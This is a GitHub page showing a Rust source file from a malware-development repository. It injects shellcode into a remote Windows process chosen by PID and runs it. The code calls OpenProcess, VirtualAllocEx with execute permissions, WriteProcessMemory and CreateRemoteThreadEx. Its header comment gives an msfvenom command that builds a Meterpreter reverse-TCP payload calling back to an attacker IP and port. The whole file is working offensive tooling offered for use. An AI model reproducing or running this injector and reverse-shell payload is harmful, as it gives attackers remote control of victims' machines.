-
Notifications
You must be signed in to change notification settings - Fork 257
Expand file tree
/
Copy pathshellcodeExec_1.rs
More file actions
114 lines (86 loc) · 3.35 KB
/
Copy pathshellcodeExec_1.rs
File metadata and controls
114 lines (86 loc) · 3.35 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
/*
For more Rust Codes : https://github.com/Whitecat18/Rust-for-Malware-Development.git
Code to inject and execute shellcode into a remote process specified by its PID that runs in the same process PID !.
This is just an Example demo i have written in. you can create your own shellcode you need! . This program allows all kinds of shellcode !
Example i used to generate dummy shellcode for just Demo purpuse . you can use the same format!
`
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.102.93 LPORT=4444 EXITFUNC=thread -f raw --var-name=Smukx -o shellcode.bin
`
By Smukx
*/
const OKI: &str = "[+]";
// const MIS: &str = "[-]";
use std::{env::args, ptr::null_mut, u64::MIN};
//ntdef::NULL
use winapi::{
shared::minwindef::LPVOID,
um::{errhandlingapi::GetLastError, handleapi::CloseHandle,
winbase::INFINITE,
memoryapi::{VirtualAllocEx, WriteProcessMemory},
processthreadsapi::{CreateRemoteThreadEx, OpenProcess},
synchapi::WaitForSingleObject,
winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PROCESS_ALL_ACCESS}
}};
// type LpthreadStartRoutine = unsafe extern "system" fn(lp_parameter: LPVOID) -> DWORD;
fn main(){
let pid_inp = args().collect::<Vec<String>>();
if pid_inp.len() != 2{
panic!("{} Provide Proper PID", OKI);
}
let pid = pid_inp[1].parse::<u32>().expect("Provide Proper input !");
println!("{} PID: {}", OKI, pid);
let shellcode = include_bytes!("../shellcode.bin");
unsafe{
let process = OpenProcess(
PROCESS_ALL_ACCESS,
false as i32,
pid
);
if process.is_null(){
panic!("{} Failed to create an Process {}", MIN, GetLastError());
}
println!("{} Process Has been allocated: {:?}",OKI,process);
let buffer = VirtualAllocEx(
process,
null_mut(),
shellcode.len(),
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE,
);
if buffer.is_null(){
panic!("{} Failed to Allocate to Process Mem. Error: {}",OKI,GetLastError());
}
println!("{} Allocated Buffer sise: {:?}",OKI,buffer);
let mut bytes: usize = 0;
let result = WriteProcessMemory(
process,
buffer,
shellcode.as_ptr() as LPVOID,
shellcode.len(),
&mut bytes,
);
if result == 0 || bytes != shellcode.len(){
panic!("{} Failed to write the shellcode to the remote process. Error:{}",OKI,GetLastError());
}
// dummy thread id -> Found an alternet way !!
// let tid: DWORD = NULL;
let rem_thread = CreateRemoteThreadEx(process,
null_mut(),
0,
std::mem::transmute(buffer),
null_mut(),
0,
null_mut(),
null_mut(),
);
if rem_thread.is_null() {
panic!("{} Failed to create remote thread. Error : {}",OKI,GetLastError());
}
println!("{} Got an Handle to the Remote thread: {:?}",OKI, rem_thread);
WaitForSingleObject(rem_thread, INFINITE);
CloseHandle(rem_thread);
println!("{} Cleaning UP Thread ",OKI);
CloseHandle(process);
println!("{} Cleaning UP Process",OKI);
}
}